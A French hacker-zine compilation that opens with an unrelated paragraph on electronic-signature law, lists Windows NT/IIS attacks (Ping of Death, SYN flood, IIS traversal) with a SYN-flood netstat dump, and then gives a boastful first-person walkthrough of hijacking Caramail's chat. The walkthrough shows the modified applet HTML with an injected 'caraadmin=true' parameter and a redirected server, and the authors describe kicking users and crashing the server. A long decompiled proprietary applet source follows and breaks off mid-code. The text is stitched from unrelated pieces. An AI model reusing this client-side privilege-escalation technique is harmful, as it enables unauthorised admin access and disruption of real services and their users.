Les transactions dématérialisées prennent une importance croissante, que ce soit en matière commerciale ou dans les procédures administratives. Certains obstacles juridiques rendent nécessaire une modification du code civil pour permettre l'adaptation de notre droit de la preuve aux nouvelles technologies et à la signature électronique.
Cette modification répondra à une double préoccupation :
- la conformité avec les orientations retenues au sein de l'Union européenne,
- la prise en compte, avec toutes les garanties
nécessaires, de la valeur probante du document sous forme numérique
et des signatures électroniques.
6/ WindowsNT
Il y a de multiples manières d'attaquer un système WindowsNT, on va en énumérer quelques-unes et les expliquer.
MS Office 7.0:
- Par MS Office 7.0 sur Windows NT 3.51
Attaques distantes:
- Ping of the Death (nom véritable!)
- Attaques SYN
- GET ../.. pour serveurs IIS (pas la v5.0)
- Nbtstat
- Restrictions aux registre
- .reg
- DoS pour IIS 5.0
- IDQ sur les serveurs IIS
Cette liste est non exhaustive et placer une liste de toutes
les failles des serveurs IIS la rendrait plus importante. Mais on s'intéresse
plus au système qu'au serveur.
Active Connections
Proto
TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP |
Local Address
127.0.0.1:1026 127.0.0.1:1028 210.57.8.90:2100 210.57.8.90:2100 210.57.8.90:2100 210.57.8.90:2100 210.57.8.90:2100 210.57.8.90:2100 210.57.8.90:2100 210.57.8.90:2100 210.57.8.90:2100 210.57.8.90:2100 210.57.8.90:2100 |
Foreign Address
127.0.0.1:1026 127.0.0.1:1028 10.57.14.154:1256 10.57.14.154:1257 10.57.14.154:1258 10.57.14.154:1259 10.57.14.154:1260 10.57.14.154:1261 10.57.14.154:1262 10.57.14.154:1263 10.57.14.154:1264 10.57.14.154:1265 10.57.14.154:1266 |
State
ESTABLISHED ESTABLISHED SYN_RECEIVED SYN_RECEIVED SYN_RECEIVED SYN_RECEIVED SYN_RECEIVED SYN_RECEIVED SYN_RECEIVED SYN_RECEIVED SYN_RECEIVED SYN_RECEIVED SYN_RECEIVED |
7/ Caramail
(par ACiD BuRN)
Caramail hacked
18/01/00
"Nous avons put assister mardi 18 janvier un peu
avant minuit en direct au piratage de chat de caramail, rappelons que caramail
est un des principaux "hebergeur" d'e-mails gratuit de france.
Il est minuit, je discute tranquillement dans
je ne sais plus quel chat empli de seniles juveniles, quand que vois-je
INFOS CARAMAIL s'allumer. Ignorant tout d'abord la chose, j'y jette un
coup d'oeil quand .... que vois je quelques phrases imcomprehensibles.....
On aurait put tout d'abord croire a je ne sais
quel test de l'equipe caramail, mais non , il s'agit bien d'un hack et
en direct en plus. Les "hackers" ont commencé a discuter entre eu
sur le canal info caramail, en oubliant pas d'insulter l'admin et de virer
de ci de la quelques salons ou connectés.
La suite, fut quand meme quelque peu puerile
et decousue a noter un salon hackers ou on essayait de s'attirer les faveurs
des "grands pirates" :)) et ou l'on se faisait deconnecter moyennant insultes
, (comme quoi faut pas faire le fayot :))))) .. , vous decouvrirez tout
ca en image ci-dessous.
Voila comme quoi nos mails sont bien gardés,
merci caramail :)
Crazy JEFF. <mailto:crazy.jeff@caramail.com>"
Source: Zataz.com
I)Comment on a fait :)
Tout d'abord , je me permet d'ecrire ceci , car
je suis un des touts premiers avec Gyzmo a avoir trouver la faille, les
autres ont ete plus long a trouve , et ont eu le programme pour decompiler
grace a nous ... (donc no problems)
Bon , tout a commencé une bonne semaine
avant, j'ai vu avec un ami une personne se connecter en rouge , et cela
nousa intrigué !
On a voulu etudier le chat plus en profondeur
, tout d'abord en mode html , et ensuite
java ... En regardant bien , quand on se connecte
sur le chat caramail , on voit qu'un fichier class est chargé (couleur
grise caracteristique du java) ... on s'est dit on va recuperer le fichier
class et etudier tout ca de plus pres !
On a commence a l'editer en hexadecimal , pour
voir un peu ce qu'il y avait dedans , mais ce n'est pas genial l'ascii
!
Ayant deja fait du java reversing (www.acidburn2000.com
, j'explique comment casser des protections java) je me suis
dis , je vais decompiler le fichier class du chat !!
1er probleme: trouver le fichier class !
En version java , il faut deja pourvoir editer
les sources , on s'est demande 2 mins comment recuperer les sources qui
appel l'applet java...
Si on click droit sur des parties du chat , il
ne se passe rien, putain !!
Mais en fait , sur les bords de la fenetre du
chat (bordure tres fine en noir , c de l'html) je fou un click droit et
miracle, le menu apparait , on peut donc editer les sources , on fait afficher
le fichier source ( pour IE) ou afficher source du cadre (pour netscape)
...
On copie tout ce petit code a la con dans un
ficher html !
Le code resemble a ca :
------------------------------- debut du source html ----------------------------------------
<html><head><title>Caramail - CaraChat</title>
<style type="text/css">BODY { color: white;
background: black; font-size: 8pt; font-family: ms sans serif, Arial, Helvetica;
}P, TD, TH { color: white; font-family: ms sans serif, Arial, Helvetica;
font-size: 8pt }</style></head>
<body><center><APPLET codebase="http://195.68.99.160"
archive="CaraNewChat.jar" code="CaraNewChat.class" height="448" width="780"><PARAM
name="cabbase" value="CaraNewChat.cab"><PARAM name="port" value="6666"><PARAM
name="pseudo" value="XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"><PARAM
name="tempid" value="XXXXXXX">
<PARAM name="room0" value="Informatique">
<PARAM name="sex" value="1"><PARAM name="age"
value="2600">
<PARAM name="city" value="Caramail H4x0r3d">
<table width="100%" height="448" border="1"
cellspacing="0" cellpadding="4">
<tr><td>Votre navigateur n'est pas configuré
pour supporter JAVA. Toutefois rien n'est perdu ! Si vous disposez d'un
navigateur récent (version 3, 4 ou supérieure), veuillez
vérifier que JAVA est bien interprété.
Pour cela allez dans les préférences de votre navigateur
puis :<ul>
<li>cochez les cases relatives à
JAVA,</li>
<li>quittez,</li><li>redémarrez
votre navigateur.</li></ul></td>
</tr></table></APPLET></center></body></html>
--------------------------------- fin du source
html ----------------------------------------
Bon , quelques petites explications :)
On voit l'initialisation de l'applet a l'adresse
"http://195.68.99.160" il ouvre une archive "jar" et on voit aussi "CaraNewChat.class"
...
Bon, deja notre petit guy est la !! On s'empresse
de recuperer le fichier class , pour cela , rien de plus simple on lance
une session internet explorer et on entre comme addresse: "http://195.68.99.160/CaraNewChat.class"
Voila , et hope la , on est en train de telechargez
le fichier class , bref rien de dur et deja , il y a bcp bcp de mondes
qui ont bloques sur ces parties mdr :) Avant de continuez, je vais vous
expliquez 2,3 trucs sur cette source encore :
- <PARAM name="port" value="6666">
== le port utilisé est le port 6666
on voit qu'il se sert des param name et value
pour recuperer toutes ces valeurs !
Ne pas oublier ca , on va s'en servir bientot
!!
- <PARAM name="pseudo" value="XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX">
bon , normalement les X sont des chiffres et des lettres, c'est notre pseudo qui est sous forme crypter ( crypter par RSA avec une clef d'environ 40 bits) il n'y auras pas eu de cryptage , il aurait suffit d'entrer un nom a la con dans value et ca aurait ete notre pseudo sur le chat ! on aurait donc pu piquer le pseudo de n'importe qui , Caramail a securise cette partie depuis un moment maintenant , mais cela n'a pas toujours ete comme ca !
bon , vous avez compris le princie des "Param name" et des "value" :) il y a ensuite l'age , la ville , le sex ....
Bon , passons a la suite, on a notre fichier class
, on voit pas bien en hexa decimal ! Si vous avez jetez un oeil a mon cours
sur comment cracker des protections java , vous allez me dire , on decompile
l'applet !!
Exactement , on utilise un programme nommé
"JAD" comment s'en servir ? on balance le fichier class dessus , et il
nous sort un joli fichier *.jad , qui si ont a pas dis ou il doit etre
decompile , il doit se trouver dans le repertoire windows a present!
Caranewchat.jad donc :) je joins le fichier dans
l'archive , ca fait plus de 90 ko !! alors le foutre dans le cours directe,
ca foutrait mechamment le bordel !! hehe
cela se presente comme ca si on edit avec le wordpad:
// Decompiled by Jad v1.5.7. Copyright 1997-99
Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/SiliconValley/Bridge/8617/jad.html
// Decompiler options: packimports(3)
// Source File Name: CaraNewChat.java
import java.applet.Applet;
import java.awt.*;
import java.io.*;
import java.net.*;
import java.util.*;
..........
bref , c'est le debut , on va chercher dans le
source ce qui peut etre interressant !!
Et un peu plus loin , on arrive a un code assez
interressant :
private void a238()
{
if((a77
= getParameter("id")) == null)
<-- parametre de l'ID
a77 = "*";
if((a78
= getParameter("pseudo")) == null) <-- parametre du pseudo
return;
if((a83
= getParameter("room0")) == null)
<-- parametre du salon
{
if((a83 = getParameter("room1")) == null)
{
a83 = "divers";
a103 = 0;
}
else
{
a103 = 1;
}
}
else
{
a103 = 0;
}
if((a84
= getParameter("tempid")) == null) <-- parametre
de l'ID encore
return;
String
s;
if((s
= getParameter("caraadmin")) != null) <-- parametre
admin ?? what is that !
a94 = s.toUpperCase().equals("TRUE");
if((s
= getParameter("proxy")) != null)
a95 = s.toUpperCase().equals("TRUE");
if((s
= getParameter("port")) == null)
<-- parametre du port
a70 = 6666;
<-- valeur 6666 :))
else
Bon , on voit un certain 'caraadmin' , caramail adminsitrateur donc ! Si on regarde pour le port , on voit la valeur 6666 , mais pour proxy c'est du boolean True ou false ( vrai ou faux) ! donc , ca definis si on a un proxy !! et moi et gyzmo on s'est dis si on mettait la valeur admin caramail en TRUE , ca passerais peut etre !! (commencez pas a vous dire putain ct trop simple car bcp de mondes a echouez ici , alors les gentils 'petits hackers' , c pas la peine se la jouer)
A ce moment la , on reedit le fichier html et
on va ou il y a tout les parametres !! et on ajoute un PARAM admin
, avec une valeur true :)
cela donne ca : <PARAM name="caraadmin" value="true">
On ajoute ceci dans notre source , on a un truc
comme ca maintenant :
------------------------------- debut du source html ----------------------------------------
<html><head><title>Caramail - CaraChat</title>
<style type="text/css">BODY { color: white;
background: black; font-size: 8pt; font-family: ms sans serif, Arial, Helvetica;
}P, TD, TH { color: white; font-family: ms sans serif, Arial, Helvetica;
font-size: 8pt }</style></head>
<body><center><APPLET codebase="http://195.68.99.160"
archive="CaraNewChat.jar" code="CaraNewChat.class" height="448" width="780"><PARAM
name="cabbase" value="CaraNewChat.cab"><PARAM name="port" value="6666"><PARAM
name="pseudo" value="XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"><PARAM
name="tempid" value="XXXXXXX">
<PARAM name="caraadmin" value="true">
<PARAM name="room0" value="Informatique"><PARAM
name="sex" value="1">
<PARAM name="age" value="2600"><PARAM name="city"
value="Caramail H4x0r3d">
<table width="100%" height="448" border="1"
cellspacing="0" cellpadding="4"><tr>
<td>Votre navigateur n'est pas configuré
pour supporter JAVA. Toutefois rien n'est perdu ! Si vous disposez d'un
navigateur récent (version 3, 4 ou supérieure), veuillez
vérifier que JAVA est bien interprété.
Pour cela allez dans les préférences de votre navigateur
puis :<ul><li>cochez les cases relatives à JAVA,</li><li>quittez,</li>
<li>redémarrez votre navigateur.</li></ul></td></tr></table></APPLET>
</center></body></html>
--------------------------------- fin du source
html ----------------------------------------
On enregistre tout ca , et hope la , on relance
le fichier et on se connecte direcement sur le chat ! sans passer par votre
boite aux lettres! MDR !
Et essayer de parler , ohhhhhhhh miracle , on
etait tout rouge lol !! Mais bon , on voit des boutons jaunes ( corbeille
, expuler et dans info caramail invisible , et envoyer des messages a tout
les connectes)
On se dit c'est trop cool on va delirer !! Putain
la haine les boutons ne marchent pas :(
on a passe qq jours a etudier les sources de
long en larges , la limitation vient du serveur ARGG !
Plusieurs jours passent , apres avoir decompiler
l'applet pour des amis , ou a voir donner le programme a des copains ,
on se retrouve maintenant a une dizaine de "rouges" On a passe notre temps
a tracer les ports caramail , etudier les sources , et parler entre nous
on avait penser a recompiler notre chat , et l'utiliser en interne ! Mais
Mardi soir , il est environ 23h10 quand un de notre groupe essai de changer
les serveurs ou on se connecte pour chater !
Et la putain , caramail avait fait un sois disant
'oublis' lol !! en changeaont l'ip dans le fichier html en "http://chat5.caramail.com"
on se retrouvait sur une serveur ayant toutes les commandes actives , et
de la notre folle soiree commence ! On commence a taper la discutte dans
'Infos caramail' devant plus de 3000 connectes !! Vous pourez voir les
screenshots joints avec ce petit texte ! Ensuite , je part me ballader
dans le salon "<<< hacker >>>" et commence a delirer tout en kickant
les petits cons qui faisait chier le monde , sur les photos on voit 6yohann6
et moi en train de kicker du monde ! hehehe On a aussi Gicler les salons
racistes , FN , pedophiles ... J'ai kicker 2 , 3 salons de ce type , et
mes amis ne sont pas gene non plus !!!
Bref , une folle soiree , ensuite le VRAI admin
caramail s'amene sur les salons et relevent nos noms , il pouvait pas nous
kicker car on peut pas kicker un admin hehehe :) il nous a dis qu'il allait
virer nos boites , mais finis pas nous dire , qu'il n'a pas que
ca a faire , ce que je comprends tout a fait
,et rien de nous empecherais de faire un autre compte caramail ...... Bref
, a force de jouer , On a plante le serveur , et qd Arnaud a repare , il
avait desactiver toutes les commandes admin , car c'etait la seule facon
, il pouvait rien nous faire d'autre perdant ainsi ses commandes lui aussi
:))
Voila , en gros comment ca c'est passe , on a
garde notre couleur et depuis hier Vendredi il a corrige les failles sur
le site !
J'en profite pour passer un mot en faveur d' Arnaud
, je tiens a preciser qu'il a fait un tres bon boulot , et que quand ,
je vois tout les petits cons dans le salon hacker qui se la joue Kevin
Mitnick et qui savent meme pas editer les sources d'un fichier html (Note
de Clad S.: Socket 2.3 et eux, ça fait une seule personne! ^_^)
et ensuite se permettent d'insulter l'admin qui
a tres bien bosser , avec l'equipte caramail pour nous donner un chat ,
qui malgre les plantages , et quand meme nettement superieur aux autres
chat sur le net ..
Imaginez un peu le boulot avant de l'ouvrir et
de l'insulter.... je ne dis qu'une chose , bonne continuation man ;-)
Auteur: ACiD BuRN (aka _tigger)
Greetings goes to:
Toute l'equipe True admin avec qui on a bien delirer
mardi soir !!
et un special greets a Gyzmo, on a trouve ensemble
:)
salutation a touts mes amis sur caramail ( trop
long a lister) et un remerciment a Arnaud pour son bon boulot !
et enfin a Clad Strife mon pote, ainsi que Decayer,
du HKWD Clan !
Voilà le code source de caraNewChat.jad:
// Decompiled by Jad v1.5.7. Copyright 1997-99
Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/SiliconValley/Bridge/8617/jad.html
// Decompiler options: packimports(3)
// Source File Name: CaraNewChat.java
import java.applet.Applet;
import java.awt.*;
import java.io.*;
import java.net.*;
import java.util.*;
public class CaraNewChat extends Applet
implements Runnable
{
public CaraNewChat()
{
a72
= 4096;
a73
= "";
a79
= "";
a80
= "";
a81
= "";
a94
= false;
a95
= false;
run
= true;
a97
= false;
a98
= false;
a99
= null;
insets
= new Insets(0, 2, 0, 2);
a131
= new Panel();
a132
= new Panel();
a133
= new Panel();
a134
= new Panel();
a135
= new Panel();
a136
= new Panel();
a137
= new LightScrollbar(1);
a138
= new LightScrollbar(1);
a152
= new Panel[20];
a153
= new Panel[20];
a154
= new Panel[20];
a155
= new Panel[20];
a156
= new LightScrollbar[20];
a157
= new CaraTrucCanvas[20];
a158
= new CaraLabelPanel[20];
a159
= new Button[20];
a160
= new Button[20];
a161
= new Button[20];
a162
= new TextField[20];
a163
= new Choice[20];
a164
= new Choice[20];
a165
= new Button[20];
a166
= new String[20];
a167
= new String[20];
a168
= new boolean[20];
a169
= new String[20];
a170
= new String[20];
a171
= new String[20];
a172
= new LightScrollbar(1);
a173
= new LightScrollbar(1);
a176
= new Panel();
a177
= new Panel();
a178
= new Panel();
a179
= new Panel();
a180
= new TextField();
a184
= new Panel();
a185
= new Panel();
a186
= new Panel();
a187
= new Panel();
a188
= new Panel();
a189
= new Panel();
a190
= new Panel();
a191
= new Panel();
a195
= new LightScrollbar(1);
a202
= new Checkbox[3];
a203
= new CheckboxGroup();
a207
= new Label("");
a208
= new TextField();
a209
= new TextField();
a210
= new Panel();
a211
= new Panel();
a212
= new Panel();
a213
= new Panel();
a214
= new Panel();
a215
= new Panel();
a216
= new Panel();
a219
= new Label("");
a220
= new Label("");
a226
= new LightScrollbar(1);
a233
= new TextField();
a234
= new Choice();
a235
= new Choice();
a236
= new Choice();
a237
= new Choice();
}
private void a238()
{
if((a77
= getParameter("id")) == null)
a77 = "*";
if((a78
= getParameter("pseudo")) == null)
return;
if((a83
= getParameter("room0")) == null)
{
if((a83 = getParameter("room1")) == null)
{
a83 = "divers";
a103 = 0;
}
else
{
a103 = 1;
}
}
else
{
a103 = 0;
}
if((a84
= getParameter("tempid")) == null)
return;
String
s;
if((s
= getParameter("caraadmin")) != null)
a94 = s.toUpperCase().equals("TRUE");
if((s
= getParameter("proxy")) != null)
a95 = s.toUpperCase().equals("TRUE");
if((s
= getParameter("port")) == null)
a70 = 6666;
else
try
{
a70 = Integer.parseInt(s);
}
catch(NumberFormatException _ex)
{
a70 = 6666;
}
if((s
= getParameter("httpport")) == null)
a71 = 80;
else
try
{
a71 = Integer.parseInt(s);
}
catch(NumberFormatException _ex)
{
a71 = 80;
}
if((s
= getParameter("AGE")) != null && !s.trim().equals(""))
a74 = s;
else
a74 = "?";
if((s
= getParameter("SEX")) != null && !s.trim().equals(""))
a75 = s;
else
a75 = "?";
if((s
= getParameter("CITY")) != null && !s.trim().equals(""))
a76 = s;
else
a76 = "?";
if((s
= getParameter("domain")) != null)
a111 = s.toLowerCase();
else
a111 = "com";
}
private void a239()
{
a124
= new CaraTrucCanvas(a226, 2000, true, true, "", "Helvetica", 10, 2, 4,
a111, true, true, " - ", 2, 1);
a125
= new CaraTrucCanvas(a195, 2000, true, false, "8", "Helvetica", 10, 2,
4, a111, false, false, "", 2, -1);
a126
= new CaraTrucCanvas(a172, 40, false, false, "", "Helvetica", 10, 2, 4,
a111, false, false, "", 0, -1);
a127
= new CaraTrucCanvas(a173, 2000, false, false, "", "Helvetica", 10, 2,
4, a111, false, false, "", 1, -1);
a128
= new CaraTrucCanvas(a138, 40, true, true, "41", "Helvetica", 10, 2, 4,
a111, true, true, "", 2, 1);
a129
= new CaraTrucCanvas(a137, 40, false, true, "", "Helvetica", 10, 2, 4,
a111, false, false, "", 0, -1);
a139
= new CaraLabelPanel("Membres du salon");
a140
= new CaraLabelPanel("Dialogue");
a141
= new Button("Ignorer");
a142
= new Button("Envoyer");
a143
= new Button("Dialoguer");
a145
= new Button("Rafra\356chir");
a144
= new Button("Corbeille");
a146
= new Label("");
a147
= new Label("");
a148
= new TextField();
a149
= new Checkbox("Message priv\351");
a150
= new Choice();
a151
= new Choice();
a136
= new Panel();
a134.setLayout(new
BorderLayout(0, 0));
a134.add("Center",
a129);
a134.add("East",
a137);
a135.setLayout(new
BorderLayout(0, 0));
a135.add("Center",
a128);
a135.add("East",
a138);
GridBagLayout
gridbaglayout = new GridBagLayout();
a132.setLayout(gridbaglayout);
GridBagConstraints
gridbagconstraints = new GridBagConstraints();
gridbagconstraints.gridx
= 0;
gridbagconstraints.gridy
= 0;
gridbagconstraints.gridwidth
= 3;
gridbagconstraints.weightx
= 3D;
gridbagconstraints.weighty
= 1.0D;
gridbagconstraints.fill
= 1;
gridbagconstraints.insets.top
= 4;
gridbagconstraints.insets.left
= 4;
gridbagconstraints.insets.bottom
= 4;
gridbagconstraints.insets.right
= 4;
gridbaglayout.setConstraints(a135,
gridbagconstraints);
a132.add(a135);
gridbagconstraints.gridy
= 1;
gridbagconstraints.weighty
= 0.0D;
gridbagconstraints.fill
= 2;
gridbaglayout.setConstraints(a147,
gridbagconstraints);
a132.add(a147);
gridbagconstraints.gridy
= 2;
gridbagconstraints.gridwidth
= 1;
gridbagconstraints.weightx
= 1.0D;
gridbaglayout.setConstraints(a141,
gridbagconstraints);
a132.add(a141);
gridbagconstraints.gridx
= 1;
gridbaglayout.setConstraints(a143,
gridbagconstraints);
a132.add(a143);
gridbagconstraints.gridx
= 2;
gridbaglayout.setConstraints(a145,
gridbagconstraints);
a132.add(a145);
a150.addItem("Noir");
a150.addItem("Bleu");
a150.addItem("Rouge");
a150.addItem("Rose");
a150.addItem("Orange");
a150.addItem("Gris");
a150.addItem("Bleu
nuit");
a150.addItem("Bordeaux");
a150.addItem("Vert");
a150.addItem("Mauve");
a150.addItem("Or");
a151.addItem("Parler");
a151.addItem("Murmurer");
a151.addItem("Hurler");
a140.setLayout(new
BorderLayout(0, 8));
GridBagLayout
gridbaglayout1 = new GridBagLayout();
a133.setLayout(gridbaglayout1);
GridBagConstraints
gridbagconstraints1 = new GridBagConstraints();
gridbagconstraints1.gridx
= 0;
gridbagconstraints1.gridy
= 0;
gridbagconstraints1.gridwidth
= 6;
gridbagconstraints1.weightx
= 1.0D;
gridbagconstraints1.weighty
= 1.0D;
gridbagconstraints1.fill
= 1;
gridbagconstraints1.insets.top
= 4;
gridbagconstraints1.insets.left
= 4;
gridbagconstraints1.insets.bottom
= 4;
gridbagconstraints1.insets.right
= 4;
gridbaglayout1.setConstraints(a134,
gridbagconstraints1);
a133.add(a134);
gridbagconstraints1.gridy
= 1;
gridbagconstraints1.weighty
= 0.0D;
gridbagconstraints1.fill
= 2;
gridbaglayout1.setConstraints(a146,
gridbagconstraints1);
a133.add(a146);
gridbagconstraints1.gridx
= 0;
gridbagconstraints1.gridy
= 2;
gridbagconstraints1.gridwidth
= 1;
gridbagconstraints1.weightx
= 0.0D;
gridbaglayout1.setConstraints(a149,
gridbagconstraints1);
a133.add(a149);
gridbagconstraints1.gridx
= 1;
gridbagconstraints1.gridwidth
= 5;
gridbaglayout1.setConstraints(a148,
gridbagconstraints1);
a133.add(a148);
gridbagconstraints1.gridx
= 0;
gridbagconstraints1.gridy
= 3;
gridbagconstraints1.gridwidth
= 1;
gridbaglayout1.setConstraints(a150,
gridbagconstraints1);
a133.add(a150);
gridbagconstraints1.gridx
= 1;
gridbaglayout1.setConstraints(a151,
gridbagconstraints1);
a133.add(a151);
if(!a94)
{
gridbagconstraints1.gridx = 2;
gridbagconstraints1.gridwidth = 3;
gridbagconstraints1.weightx = 1.0D;
gridbaglayout1.setConstraints(a136, gridbagconstraints1);
a133.add(a136);
}
else
{
gridbagconstraints1.gridx = 2;
gridbagconstraints1.gridwidth = 2;
gridbagconstraints1.weightx = 1.0D;
gridbaglayout1.setConstraints(a136, gridbagconstraints1);
a133.add(a136);
gridbagconstraints1.gridx = 4;
gridbagconstraints1.weightx = 0.0D;
gridbagconstraints1.gridwidth = 1;
gridbaglayout1.setConstraints(a144, gridbagconstraints1);
a133.add(a144);
a144.setBackground(Color.orange);
}
gridbagconstraints1.gridwidth
= 1;
gridbagconstraints1.weightx
= 0.0D;
gridbagconstraints1.gridx
= 5;
gridbaglayout1.setConstraints(a142,
gridbagconstraints1);
a133.add(a142);
a140.setLayout(new
BorderLayout(0, 0));
a140.add("Center",
a133);
a139.setLayout(new
BorderLayout(0, 0));
a139.add("Center",
a132);
GridBagLayout
gridbaglayout2 = new GridBagLayout();
a131.setLayout(gridbaglayout2);
GridBagConstraints
gridbagconstraints2 = new GridBagConstraints();
gridbagconstraints2.gridx
= 0;
gridbagconstraints2.gridy
= 0;
gridbagconstraints2.gridheight
= 1;
gridbagconstraints2.gridwidth
= 1;
gridbagconstraints2.weightx
= 3D;
gridbagconstraints2.weighty
= 1.0D;
gridbagconstraints2.fill
= 1;
gridbagconstraints2.insets.top
= 4;
gridbagconstraints2.insets.left
= 4;
gridbagconstraints2.insets.bottom
= 4;
gridbagconstraints2.insets.right
= 4;
gridbaglayout2.setConstraints(a140,
gridbagconstraints2);
a131.add(a140);
gridbagconstraints2.gridx
= 1;
gridbagconstraints2.weightx
= 1.0D;
gridbaglayout2.setConstraints(a139,
gridbagconstraints2);
a131.add(a139);
a183
= new Checkbox("Invisible");
a182
= new Button("Envoyer");
a181
= new Label("Message g\351n\351ral :");
a182.setBackground(Color.orange);
a176.setLayout(new
BorderLayout(0, 0));
a176.add("Center",
a126);
a176.add("East",
a172);
a177.setLayout(new
BorderLayout(0, 0));
a177.add("Center",
a127);
a177.add("East",
a173);
a175
= new CaraLabelPanel("Aide");
GridBagLayout
gridbaglayout3 = new GridBagLayout();
a175.setLayout(gridbaglayout3);
GridBagConstraints
gridbagconstraints3 = new GridBagConstraints();
gridbagconstraints3.gridx
= 0;
gridbagconstraints3.gridy
= 0;
gridbagconstraints3.gridwidth
= 3;
gridbagconstraints3.weightx
= 1.0D;
gridbagconstraints3.weighty
= 1.0D;
gridbagconstraints3.fill
= 1;
gridbagconstraints3.insets.top
= 4;
gridbagconstraints3.insets.left
= 4;
gridbagconstraints3.insets.bottom
= 4;
gridbagconstraints3.insets.right
= 4;
gridbaglayout3.setConstraints(a177,
gridbagconstraints3);
a175.add(a177);
GridBagLayout
gridbaglayout4 = new GridBagLayout();
a179.setLayout(gridbaglayout4);
GridBagConstraints
gridbagconstraints4 = new GridBagConstraints();
gridbagconstraints4.gridx
= 0;
gridbagconstraints4.gridy
= 0;
gridbagconstraints4.gridwidth
= 4;
gridbagconstraints4.weightx
= 1.0D;
gridbagconstraints4.weighty
= 1.0D;
gridbagconstraints4.fill
= 1;
gridbagconstraints4.insets.top
= 4;
gridbagconstraints4.insets.left
= 4;
gridbagconstraints4.insets.bottom
= 4;
gridbagconstraints4.insets.right
= 4;
gridbaglayout4.setConstraints(a176,
gridbagconstraints4);
a179.add(a176);
if(a94)
{
gridbagconstraints4.gridx = 0;
gridbagconstraints4.gridy = 1;
gridbagconstraints4.gridwidth = 1;
gridbagconstraints4.weightx = 0.0D;
gridbagconstraints4.weighty = 0.0D;
gridbaglayout4.setConstraints(a181, gridbagconstraints4);
a179.add(a181);
gridbagconstraints4.gridx = 1;
gridbagconstraints4.weightx = 1.0D;
gridbaglayout4.setConstraints(a180, gridbagconstraints4);
a179.add(a180);
gridbagconstraints4.gridx = 2;
gridbagconstraints4.weightx = 0.0D;
gridbaglayout4.setConstraints(a182, gridbagconstraints4);
a179.add(a182);
gridbagconstraints4.gridx = 3;
gridbaglayout4.setConstraints(a183, gridbagconstraints4);
a179.add(a183);
}
a174
= new CaraLabelPanel("Listes des messages");
a174.setLayout(new
BorderLayout(8, 8));
a174.add("Center",
a179);
GridBagLayout
gridbaglayout5 = new GridBagLayout();
a178.setLayout(gridbaglayout5);
GridBagConstraints
gridbagconstraints5 = new GridBagConstraints();
gridbagconstraints5.gridx
= 0;
gridbagconstraints5.gridy
= 0;
gridbagconstraints5.gridheight
= 1;
gridbagconstraints5.gridwidth
= 1;
gridbagconstraints5.weightx
= 1.0D;
gridbagconstraints5.weighty
= 1.0D;
gridbagconstraints5.fill
= 1;
gridbagconstraints5.insets.top
= 4;
gridbagconstraints5.insets.left
= 4;
gridbagconstraints5.insets.bottom
= 4;
gridbagconstraints5.insets.right
= 4;
gridbaglayout5.setConstraints(a174,
gridbagconstraints5);
a178.add(a174);
if(!a94)
{
gridbagconstraints5.gridx = 1;
gridbaglayout5.setConstraints(a175, gridbagconstraints5);
a178.add(a175);
}
a196
= new Button("Salons permanents");
a197
= new Button("Salons publics");
a198
= new Button("Cr\351er");
a199
= new Button("Rejoindre");
a200
= new Button("Rejoindre");
a201
= new Button("Corbeille");
a201.setBackground(Color.orange);
a204
= new Label("Type du salon :");
a205
= new Label("Nom du salon :");
a206
= new Label("Nom du salon :");
a192
= new CaraLabelPanel("Listes des salons");
a193
= new CaraLabelPanel("Cr\351ation d'un salon");
a194
= new CaraLabelPanel("Rejoindre un salon priv\351");
a202[0]
= new Checkbox("Public", a203, true);
a202[1]
= new Checkbox("Priv\351", a203, false);
a185.setLayout(new
BorderLayout(0, 0));
a185.add("Center",
a125);
a185.add("East",
a195);
GridBagLayout
gridbaglayout6 = new GridBagLayout();
a189.setLayout(gridbaglayout6);
GridBagConstraints
gridbagconstraints6 = new GridBagConstraints();
gridbagconstraints6.gridx
= 0;
gridbagconstraints6.gridy
= 0;
gridbagconstraints6.gridwidth
= 1;
gridbagconstraints6.weightx
= 0.0D;
gridbagconstraints6.weighty
= 0.0D;
gridbagconstraints6.fill
= 1;
gridbagconstraints6.insets.top
= 4;
gridbagconstraints6.insets.left
= 4;
gridbagconstraints6.insets.bottom
= 4;
gridbagconstraints6.insets.right
= 4;
gridbaglayout6.setConstraints(a196,
gridbagconstraints6);
a189.add(a196);
gridbagconstraints6.gridx
= 1;
gridbaglayout6.setConstraints(a197,
gridbagconstraints6);
a189.add(a197);
gridbagconstraints6.gridx
= 2;
gridbagconstraints6.weightx
= 1.0D;
gridbagconstraints6.gridwidth
= 1;
gridbaglayout6.setConstraints(a187,
gridbagconstraints6);
a189.add(a187);
gridbagconstraints6.gridx
= 3;
gridbagconstraints6.weightx
= 0.0D;
gridbagconstraints6.gridwidth
= 2;
gridbaglayout6.setConstraints(a188,
gridbagconstraints6);
a189.add(a188);
gridbagconstraints6.gridx
= 0;
gridbagconstraints6.gridy
= 1;
gridbagconstraints6.gridwidth
= 5;
gridbagconstraints6.weighty
= 1.0D;
gridbagconstraints6.weightx
= 1.0D;
gridbaglayout6.setConstraints(a185,
gridbagconstraints6);
a189.add(a185);
if(!a94)
{
gridbagconstraints6.gridx = 0;
gridbagconstraints6.gridy = 2;
gridbagconstraints6.gridwidth = 4;
gridbagconstraints6.weighty = 0.0D;
gridbagconstraints6.weightx = 1.0D;
gridbaglayout6.setConstraints(a207, gridbagconstraints6);
a189.add(a207);
gridbagconstraints6.gridx = 4;
gridbagconstraints6.gridwidth = 1;
gridbagconstraints6.weightx = 0.0D;
gridbaglayout6.setConstraints(a199, gridbagconstraints6);
a189.add(a199);
}
else
{
gridbagconstraints6.gridx = 0;
gridbagconstraints6.gridy = 2;
gridbagconstraints6.gridwidth = 3;
gridbagconstraints6.weighty = 0.0D;
gridbagconstraints6.weightx = 1.0D;
gridbaglayout6.setConstraints(a207, gridbagconstraints6);
a189.add(a207);
gridbagconstraints6.gridx = 3;
gridbagconstraints6.gridwidth = 1;
gridbagconstraints6.weightx = 0.0D;
gridbaglayout6.setConstraints(a199, gridbagconstraints6);
a189.add(a199);
gridbagconstraints6.gridx = 4;
